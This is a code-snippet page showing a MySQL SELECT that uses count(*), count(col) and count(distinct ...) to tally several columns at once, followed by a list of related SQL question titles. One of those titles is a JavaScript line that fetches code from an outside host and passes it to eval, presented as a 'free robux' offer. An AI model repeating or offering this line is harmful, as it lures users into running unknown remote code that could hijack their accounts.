/SQL/Mysql count multiple columns in one query

Mysql count multiple columns in one query

mysql count multiple columns in one query:
 SELECT 
        count(*)             as count_rows,
        count(col1)          as count_1,
        count(col2)          as count_2,
        count(distinct col1) as count_distinct_1,
        count(distinct col2) as count_distinct_2,
        count(distinct col1, col2) as count_distinct_1_2
    FROM `table` ;

Similar codes

0 vote334 views3 answers
Magento 2 order delete from db
SQL
0 vote316 views1 answer
IIF
SQL
1 vote335 views1 answer
Oracle stop
SQL
-1 vote301 views1 answer
Raise ImproperlyConfigured('mysqlclient 1.3.13 or newer is required; you have %s.' % Database.__version__) django.core.exceptions.ImproperlyConfigured: mysqlclient 1.3.13 or newer is required; you have 0.9.3.
SQL
0 vote330 views1 answer
Mysql shell ERROR: Not connected.
SQL
4 votes350 views1 answer
List tables sqlite
SQL
0 vote323 views1 answer
Get the previous column of a table in mysql
SQL
0 vote332 views1 answer
Find duplicate users by email address in mysql
SQL
1 vote289 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote329 views1 answer
Sql server query database space available
SQL